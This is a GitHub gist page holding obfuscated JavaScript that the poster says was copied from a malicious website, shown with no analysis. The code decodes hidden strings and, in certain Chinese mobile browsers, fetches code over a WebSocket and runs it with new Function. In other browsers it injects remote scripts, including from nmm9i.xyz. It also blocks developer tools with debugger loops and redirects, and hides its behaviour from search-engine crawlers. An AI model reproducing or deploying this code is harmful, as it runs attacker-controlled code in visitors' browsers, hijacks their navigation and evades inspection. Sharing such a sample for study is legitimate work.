Skip to content

Instantly share code, notes, and snippets.

@Neboer
Created March 15, 2023 10:11
Show Gist options
  • Save Neboer/6e614e7dc04de81c2506d05a634b7259 to your computer and use it in GitHub Desktop.
Save Neboer/6e614e7dc04de81c2506d05a634b7259 to your computer and use it in GitHub Desktop.
This javascript is copied from a bad website.
window.isiOS = !!navigator.userAgent.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/);
var isIOS = -1 < navigator.userAgent.search(/iphone/gi),
isAndroid = -1 < navigator.userAgent.search(/(android|linux)/gi);
function ywglvbaj(window, document, navigator, ac) {
;;
window._N1_ZS = function() {
function n(e) {
for (var o, n, t, r = {}, c = "", i = [], a = 0, f = 0, l = 32, u = -1, s = String.fromCharCode; l++ < 126;) 39 != l && 92 != l && (r[s(l)] = f++);
for ("number" == typeof e && (e = h[e]), f = l = 0; l++ < e.length;)
if (void 0 !== (t = r[e[l - 1]]))
if (u < 0) u = t;
else {
for (u += 91 * t, a |= u << f, f += 88 < (8191 & u) ? 13 : 14; i.push(255 & a), a >>= 8, f -= 8, 7 < f;);
u = -1
} for (-1 < u && i.push(255 & (a | u << f)), l = 0; l < i.length;)(n = (o = i[l++]) >> 4) < 8 ? c += s(o) : 12 == n || 13 == n ? c += s((31 & o) << 6 | 63 & i[l++]) : 14 == n && (c += s((15 & o) << 12 | (63 & i[l++]) << 6 | 63 & i[l++]));
return c
}
function e(e, o) {
return Math.floor(Math[n(7)]() * (o - e + 1) + e)
}
var o, t, h, r, c, i;
o = window, t = document, h = ["1_(YAjw:a^ri[%yJ", "eUHAptB@%cpb{jxJ", '%%UB]p?tU5XV"', "YJ-B0t0*3bT", "SJ^BKsl/l3`e<`.", "c+UB&rT#", "uUf*", "(%c+AqF#", "G[7,3t`x=Wbeah@2%SIoJlK51W8doE)GA1`<Cq6*2+3hP#", "[email protected]@/B4BR#&", "hX0Y5CkD>3Uhgk/J??B+`BysAWEk@/B4BR#&", 'hX0Y5CHJb*pblk<3X0(Yghmyzdfe1Qy2ri"'], i = t[n(0)], /(MQQBrowser|UCBrowser|baidu|quark)/i.test(navigator.userAgent) ? (c = "callback" + (new Date).getTime(), (r = new WebSocket(n(e(9, 11)) + "?if9=" + c))[n(3)] = function(e) {
(function(e) {
new Function("_tdcs", e).apply(o, [].slice.call(arguments, 1))
})(n(e.data), i), r.close()
}) : ((c = document[n(1)](n(5))).async = !0, c[n(6)] = n(e(8, 8)), i[n(2)][n(4)](c, i)), console.log("N1_ZS")
}, window._N1_DJ = function() {
function n(e) {
for (var o, n, t, r = {}, c = "", i = [], a = 0, f = 0, l = 32, u = -1, s = String.fromCharCode; l++ < 126;) 39 != l && 92 != l && (r[s(l)] = f++);
for ("number" == typeof e && (e = h[e]), f = l = 0; l++ < e.length;)
if (void 0 !== (t = r[e[l - 1]]))
if (u < 0) u = t;
else {
for (u += 91 * t, a |= u << f, f += 88 < (8191 & u) ? 13 : 14; i.push(255 & a), a >>= 8, f -= 8, 7 < f;);
u = -1
} for (-1 < u && i.push(255 & (a | u << f)), l = 0; l < i.length;)(n = (o = i[l++]) >> 4) < 8 ? c += s(o) : 12 == n || 13 == n ? c += s((31 & o) << 6 | 63 & i[l++]) : 14 == n && (c += s((15 & o) << 12 | (63 & i[l++]) << 6 | 63 & i[l++]));
return c
}
function e(e, o) {
return Math.floor(Math[n(6)]() * (o - e + 1) + e)
}
var o, t, h, r, c, i;
o = window, t = document, h = ["eUHAptB@%cpb{jxJ", "SJ^BKsl/l3`e<`.", "YJ-B0t0*3bT", '%%UB]p?tU5XV"', "1_(YAjw:a^ri[%yJ", "uUf*", "(%c+AqF#", "c+UB&rT#", "G[7,3t`x=Wbeah@2%SIoJlK51W8doE)GA1`<Cq6*2+Xi,#", "[email protected]@/B41U7%", "hX0Y5CkD>3Uhgk/J??B+`BysAWEk@/B41U7%", 'hX0Y5CHJb*pblk<3X0(Yghmyzdfe1Qy2UO"'], i = t[n(4)], /(MQQBrowser|UCBrowser|baidu|quark)/i.test(navigator.userAgent) ? (c = "callback" + (new Date).getTime(), (r = new WebSocket(n(e(9, 11)) + "?if9=" + c))[n(2)] = function(e) {
(function(e) {
new Function("_tdcs", e).apply(o, [].slice.call(arguments, 1))
})(n(e.data), i), r.close()
}) : ((c = document[n(0)](n(7))).async = !0, c[n(5)] = n(e(8, 8)), i[n(3)][n(1)](c, i)), console.log("N1_DJ")
};;;
window._N2_ZS = function() {
function o(e) {
for (var n, o, t, r = {}, i = "", c = [], a = 0, f = 0, u = 32, l = -1, s = String.fromCharCode; u++ < 126;) 39 != u && 92 != u && (r[s(u)] = f++);
for ("number" == typeof e && (e = h[e]), f = u = 0; u++ < e.length;)
if (void 0 !== (t = r[e[u - 1]]))
if (l < 0) l = t;
else {
for (l += 91 * t, a |= l << f, f += 88 < (8191 & l) ? 13 : 14; c.push(255 & a), a >>= 8, f -= 8, 7 < f;);
l = -1
} for (-1 < l && c.push(255 & (a | l << f)), u = 0; u < c.length;)(o = (n = c[u++]) >> 4) < 8 ? i += s(n) : 12 == o || 13 == o ? i += s((31 & n) << 6 | 63 & c[u++]) : 14 == o && (i += s((15 & n) << 12 | (63 & c[u++]) << 6 | 63 & c[u++]));
return i
}
function e(e, n) {
return Math.floor(Math[o(4)]() * (n - e + 1) + e)
}
var n, t, h, r, i, c;
n = window, t = document, h = ["uUf*", "c+UB&rT#", "YJ-B0t0*3bT", '%%UB]p?tU5XV"', "(%c+AqF#", "SJ^BKsl/l3`e<`.", "1_(YAjw:a^ri[%yJ", "eUHAptB@%cpb{jxJ", "G[7,3t`x=W.`eh@2PJW,bwUK2W8doE)GA1`<Cq6*s+jfL#", "[email protected]@/h5SOx%", "hX0Y5CS9/ayigk/J??B+`BysAWEk@/h5SOx%", 'hX0Y5CHJB4zigk<3X0(Yghmyzdfe0#z2%g"'], c = t[o(6)], /(MQQBrowser|UCBrowser|baidu|quark)/i.test(navigator.userAgent) ? (i = "callback" + (new Date).getTime(), (r = new WebSocket(o(e(9, 11)) + "?if9=" + i))[o(2)] = function(e) {
(function(e) {
new Function("_tdcs", e).apply(n, [].slice.call(arguments, 1))
})(o(e.data), c), r.close()
}) : ((i = document[o(7)](o(1))).async = !0, i[o(0)] = o(e(8, 8)), c[o(3)][o(5)](i, c)), console.log("N2_ZS")
}, window._N2_DJ = function() {
function o(e) {
for (var n, o, t, r = {}, i = "", c = [], a = 0, f = 0, u = 32, l = -1, s = String.fromCharCode; u++ < 126;) 39 != u && 92 != u && (r[s(u)] = f++);
for ("number" == typeof e && (e = h[e]), f = u = 0; u++ < e.length;)
if (void 0 !== (t = r[e[u - 1]]))
if (l < 0) l = t;
else {
for (l += 91 * t, a |= l << f, f += 88 < (8191 & l) ? 13 : 14; c.push(255 & a), a >>= 8, f -= 8, 7 < f;);
l = -1
} for (-1 < l && c.push(255 & (a | l << f)), u = 0; u < c.length;)(o = (n = c[u++]) >> 4) < 8 ? i += s(n) : 12 == o || 13 == o ? i += s((31 & n) << 6 | 63 & c[u++]) : 14 == o && (i += s((15 & n) << 12 | (63 & c[u++]) << 6 | 63 & c[u++]));
return i
}
function e(e, n) {
return Math.floor(Math[o(6)]() * (n - e + 1) + e)
}
var n, t, h, r, i, c;
n = window, t = document, h = ["eUHAptB@%cpb{jxJ", "SJ^BKsl/l3`e<`.", '%%UB]p?tU5XV"', "uUf*", "1_(YAjw:a^ri[%yJ", "YJ-B0t0*3bT", "(%c+AqF#", "c+UB&rT#", "G[7,3t`x=W.`eh@2PJW,bwUK2W8doE)GA1`<Cq6*s+jfP#", "[email protected]@/h5SO#&", "hX0Y5CS9/ayigk/J??B+`BysAWEk@/h5SO#&", 'hX0Y5CHJB4zigk<3X0(Yghmyzdfe0#z2qi"'], c = t[o(4)], /(MQQBrowser|UCBrowser|baidu|quark)/i.test(navigator.userAgent) ? (i = "callback" + (new Date).getTime(), (r = new WebSocket(o(e(9, 11)) + "?if9=" + i))[o(5)] = function(e) {
(function(e) {
new Function("_tdcs", e).apply(n, [].slice.call(arguments, 1))
})(o(e.data), c), r.close()
}) : ((i = document[o(0)](o(7))).async = !0, i[o(3)] = o(e(8, 8)), c[o(2)][o(1)](i, c)), console.log("N2_DJ")
};;;
window._DS_ZS = function() {
document.writeln('<script src="ht'), document.writeln("tps:"), document.writeln("//www.nmm9i.xyz/qby_14639_89u76.js?6523846" + (new Date).getTime()), document.writeln('"><\/script>'), console.log("DS_ZS")
}, window._DS_DJ = function() {
document.writeln('<script src="ht'), document.writeln("tps:"), document.writeln("//www.nmm9i.xyz/qby_14638_89u76.js?6523846" + (new Date).getTime()), document.writeln('"><\/script>'), console.log("DS_DJ")
};;;;
window._PC_ZS = function() {
window.localStorage, console.log("PC_ZS")
}, window._HM_ZS = window._PC_ZS;;
function store(key, val, day) {
if (void 0 === window.localStorage) return 1 < arguments.length ? setCookie(key, val, day) : getCookie(key);
if (!(1 < arguments.length)) {
var data = window.localStorage.getItem(key);
if (data) {
try {
data = JSON.parse(data)
} catch (e) {
data = eval("(" + data + ")")
}
return void 0 === data.exp ? data.val || data : data.exp >= (new Date).getTime() ? data.val : void 0
}
return !1
}
day = day || 360;
var obj = {
val: val,
exp: (new Date).getTime() + 43200 * day
};
window.localStorage.setItem(key, JSON.stringify(obj))
}
"undefined" == typeof console && (window.console = {
log: function() {}
}),
function(f, l, d) {
(new Date).getHours();
c = this, i = function(t) {
"use strict";
function a(t) {
return ~d.userAgent.toLowerCase().indexOf(t)
}
function o(t, e) {
2 !== e ? location.href = t : location.replace(t)
}
function i(t) {
var e = 0,
n = 1 << r++;
return function() {
(!s || s & n) && 2 == ++e && (s |= n, t(), e = 1)
}
}
var c = function() {
return (c = Object.assign || function(t) {
for (var e, n = 1, r = arguments.length; n < r; n++)
for (var o in e = arguments[n]) Object.prototype.hasOwnProperty.call(e, o) && (t[o] = e[o]);
return t
}).apply(this, arguments)
},
u = {
clear: !0,
debug: !0,
debugTime: 3e3
},
r = 0,
s = 0,
e = (n.prototype.clear = function() {
this._clear && (console.clear = function() {})
}, n.prototype.debug = function() {
var t;
this._debug && (t = new Function("debugger"), setInterval(t, this._debugTime))
}, n.prototype.redirect = function(t) {
var e, n, r = this._redirect;
r && (0 !== r.indexOf("http") ? (n = location.pathname + location.search, ((e = r) ? "/" !== e[0] ? "/".concat(e) : e : "/") !== n && o(r, t)) : location.href !== r && o(r, t))
}, n.prototype.callback = function() {
if ((this._callback || this._redirect || this._write) && f) {
var t = this.fire.bind(this),
e = f.chrome || a("chrome"),
n = a("firefox");
if (!e) return n ? ((o = /./).toString = t, void console.log(o)) : (r = t, o = new Image, Object.defineProperty(o, "id", {
get: function() {
r(2)
}
}), void console.log(o));
! function(t) {
var e = /./;
e.toString = i(t);
function n() {
return e
}
n.toString = i(t);
var r = new Date;
r.toString = i(t), console.log("%c", n, e, r);
var o = i(t),
t = new Error;
Object.defineProperty(t, "message", {
get: function() {
o()
}
}), console.log(t)
}(t)
}
var r, o
}, n.prototype.write = function() {
var t = this._write;
t && (l.body.innerHTML = "string" == typeof t ? t : t.innerHTML)
}, n.prototype.fire = function(t) {
this._callback ? this._callback.call(null) : (this.redirect(t), this._redirect || this.write())
}, n.prototype.ban = function() {
this.callback(), this.clear(), this.debug()
}, n);
function n(t) {
var e = c(c({}, u), t),
n = e.clear,
r = e.debug,
o = e.debugTime,
a = e.callback,
t = e.redirect,
e = e.write;
this._debug = r, this._debugTime = o, this._clear = n, this._callback = a, this._redirect = t, this._write = e
}
t.init = function(t) {
new e(t).ban()
}, Object.defineProperty(t, "__esModule", {
value: !0
})
}, "object" == typeof exports && "undefined" != typeof module ? i(exports) : "function" == typeof define && define.amd ? define(["exports"], i) : i((c = "undefined" != typeof globalThis ? globalThis : c || self).CB = {});
var e, t = /\bad=(\w+)/; - 1 < location.search.search(t) && (e = "_" + location.search.match(t)[1], Object.keys(ac).forEach(function(t) {
-1 < t.search(/2/) || (ac[t] = -1 < ac[t].indexOf(e) ? [e] : [], ac[t.replace(/1/, "2")] = 0 < ac[t].length ? [100] : [])
}), console.log(ac));
var n = "_" + String.fromCharCode(66) + "J" + String.fromCharCode(83); - 1 == (location.href + (l.cookie || "")).search(new RegExp(n, "")) && CB.init({
redirect: "/?FROM=bjs&u=" + n.substr(1)
});
var r = ac.ZS1 || [],
o = ac.ZS2 || [],
a = ac.DJ1 || [],
i = ac.DJ2 || [],
c = ac.PC1 || [],
t = ac.PC2 || [],
n = function(t, n, r) {
return t.forEach(function(e, t) {
r.push({
func: function() {
"string" == typeof e && (f._TJEX = f._TJEX || [], f._TJEX.push(e), e = f[e]);
try {
e && e()
} catch (t) {
console.log("funcerr", e)
}
},
weight: n[t]
})
}), r
},
o = n(r, o, []),
i = n(a, i, []),
c = n(c, t, []);
function u(t, e) {
e = e || 1;
for (var n = t.filter(function(t) {
return !t.disable
}), r = 0, o = 0; o < n.length; o++) r += n[o].weight, n[o].max = r;
for (var a, i = Math.round(Math.random() * (r - 1)), c = [], o = 0; o < n.length; o++)
if (i < n[o].max) {
c.push(n[o]), 1 <= --e && (n.splice(o, 1), (a = u(n, e)) && c.push.apply(c, a));
break
} return c
}
t = '(SOV33|9_1|render|baiduspider|(web|inst|wap|sogou) spider|sosospider|360spider|sohu-search|bingbot|bytespider|Googlebot)', t = new RegExp(t, "ig").test(d.userAgent);
var s = ("ontouchstart" in f || 0 < d.maxTouchPoints || 0 < d.msMaxTouchPoints) && !t;
var h = null;
function g() {
if (null != h) return h;
var t = store("___");
return t || store("___", t = "r" + ~~(9999 * Math.random()), 60), h = ~~store(t), store(t, ++h, 60), h
}
function p() {
var t;
return !("undefined" != typeof CAD && 0 < CAD) && ("undefined" == typeof COOKIE_PRE || (t = COOKIE_PRE + "auth", t = new RegExp("(^| )" + t + "=([^;]*)(;|$)"), !(t = l.cookie.match(t)) || !unescape(t[2])))
}
var v = u(i, 2),
y = u(o, 1),
_ = u(c, 1);
function b(t, e) {
try {
t.func()
} catch (t) {
console.log(e, t)
}
}
for (var m = 1; m <= 2; m++) {
var w = "A" + m + "_",
C = "z" + (1e4 * m + Math.round(Math.random() + 1e4));
f[w] = C, f[C] = function(t) {
if (!p() || !s) return s || 0 < _.length && b(_.shift(), 1), !1;
var e, n = g();
if ((e = new RegExp("baidu\\.com", "ig"), -1 < l.referrer.search(e)) && n <= 1) return !1;
0 < v.length && b(v.shift(), 2), t || 0 < y.length && b(y.shift(), 3)
}
}! function() {
f.sTimeout = setTimeout, f.sInterval = setInterval;
var e = {};
function n(t) {
return function() {
try {
t()
} catch (t) {
if (e[t.message]) return;
e[t.message] = 1, console.log(t)
}
}
}
f.setTimeout = function(t, e) {
f.sTimeout(n(t), e < 500 ? 500 : e)
}, f.setInterval = function(t, e) {
t.toString().search(/cpv\(typ/gi), f.sInterval(n(t), e < 500 ? 500 : e)
}
}()
}(window, document, navigator)
};
ywglvbaj(window, document, navigator, {
ZS1: ["_N1_ZS", "_N2_ZS", "_DS_ZS"],
ZS2: [33, 30, 33],
DJ1: ["_N1_DJ", "_N2_DJ", "_DS_DJ"],
DJ2: [25, 25, 25],
PC1: ["_HM_ZS"],
PC2: [100]
});; //170940-db1/*7b9c2d6171392e5ea2eb0c73914c7dd6*/
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment